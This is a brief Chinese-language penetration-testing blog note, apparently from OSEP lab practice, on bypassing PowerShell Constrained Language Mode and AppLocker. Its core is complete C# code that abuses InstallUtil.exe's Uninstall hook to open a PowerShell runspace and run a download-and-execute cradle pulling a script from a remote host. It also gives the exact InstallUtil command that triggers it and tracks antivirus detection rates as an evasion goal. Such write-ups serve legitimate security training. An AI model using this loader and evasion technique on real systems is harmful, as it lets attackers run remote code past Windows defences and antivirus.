# Powershell CLM Bypass 最近在玩OSEP的Lab,記錄一下其中一種攻擊方式 首先,Windows Powershell 有幾種執行模式: - FullLanguage - RestrictedLanguage - NoLanguage - ConstrainedLanguage 由於Powershell 很容易被攻擊者濫用, 微軟爸爸提供了`ConstrainedLanguage` 來作為其中一種防禦手段 舉例來說 如果想要用Powershell常見的遠端下載執行 `(New-Object System.Net.WebClient).DownloadString('http://192.168.1.1/xxx.ps1') | IEX` 是無法執行的,此方法可以達到阻擋駭客攻擊的目的 更多防禦的重點可以參考TeamT5神文 https://teamt5.org/en/posts/a-deep-dive-into-powershell-s-constrained-language-mode/ ## Bypass 接下來介紹一些繞過方法 有網友提供了解法 https://github.com/calebstewart/bypass-clm 但實測AV偵測率很高,為 10/26 https://antiscan.me/scan/new/result?id=yGzkfn4frhUV 雖然偵測率高,但仍然可以學習他的思路 `InstallUtil.exe` 加上 `Uninstall` 方法 (InstallUtil.exe為 .NET Framework原生binary,不會被AV抓) 下列程式碼中,為了Bypass AppLocker,增加了一個Runspace的概念 Runspace: https://devblogs.microsoft.com/scripting/beginning-use-of-powershell-runspaces-part-1/ C# Code: 取自熱心的網友 https://github.com/josephkingstone/OSEP-Code-Snippets/blob/main/AppLocker%20Bypass%20PowerShell%20Runspace/Program.cs ``` using System; using System.Management.Automation; using System.Management.Automation.Runspaces; using System.Configuration.Install; namespace Bypass { class Program { static void Main(string[] args) { Console.WriteLine("Nothing going on in this binary."); } } [System.ComponentModel.RunInstaller(true)] public class Sample : Installer { public override void Uninstall(System.Collections.IDictionary savedState) { String cmd = "(New-Object Net.WebClient).DownloadString('http://192.168.1.1/xxx.ps1') | iex"; Runspace rs = RunspaceFactory.CreateRunspace(); rs.Open(); PowerShell ps = PowerShell.Create(); ps.Runspace = rs; ps.AddScript(cmd); ps.Invoke(); rs.Close(); } } } ``` 記得要在Reference增加所需的DLL: RunInstaller / System.Management.Automation Build成exe後,可以參考下列方法執行exe檔案,其中 `/U` 為呼叫程式中的`Uninstall`方法 `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\<PATH>\<File>.exe` 由於是在Runspace中執行,並不像一般的reverse shell簡單暴力,但仍然是作為Enumeration的好方法之一 當然,仍然會被AV抓到,但偵測率稍微好一點點,下降到 4/26 https://antiscan.me/scan/new/result?id=FPXSbZyhPgYh ###### tags: `Penetration Testing` `Powershell` `ConstrainedLanguage`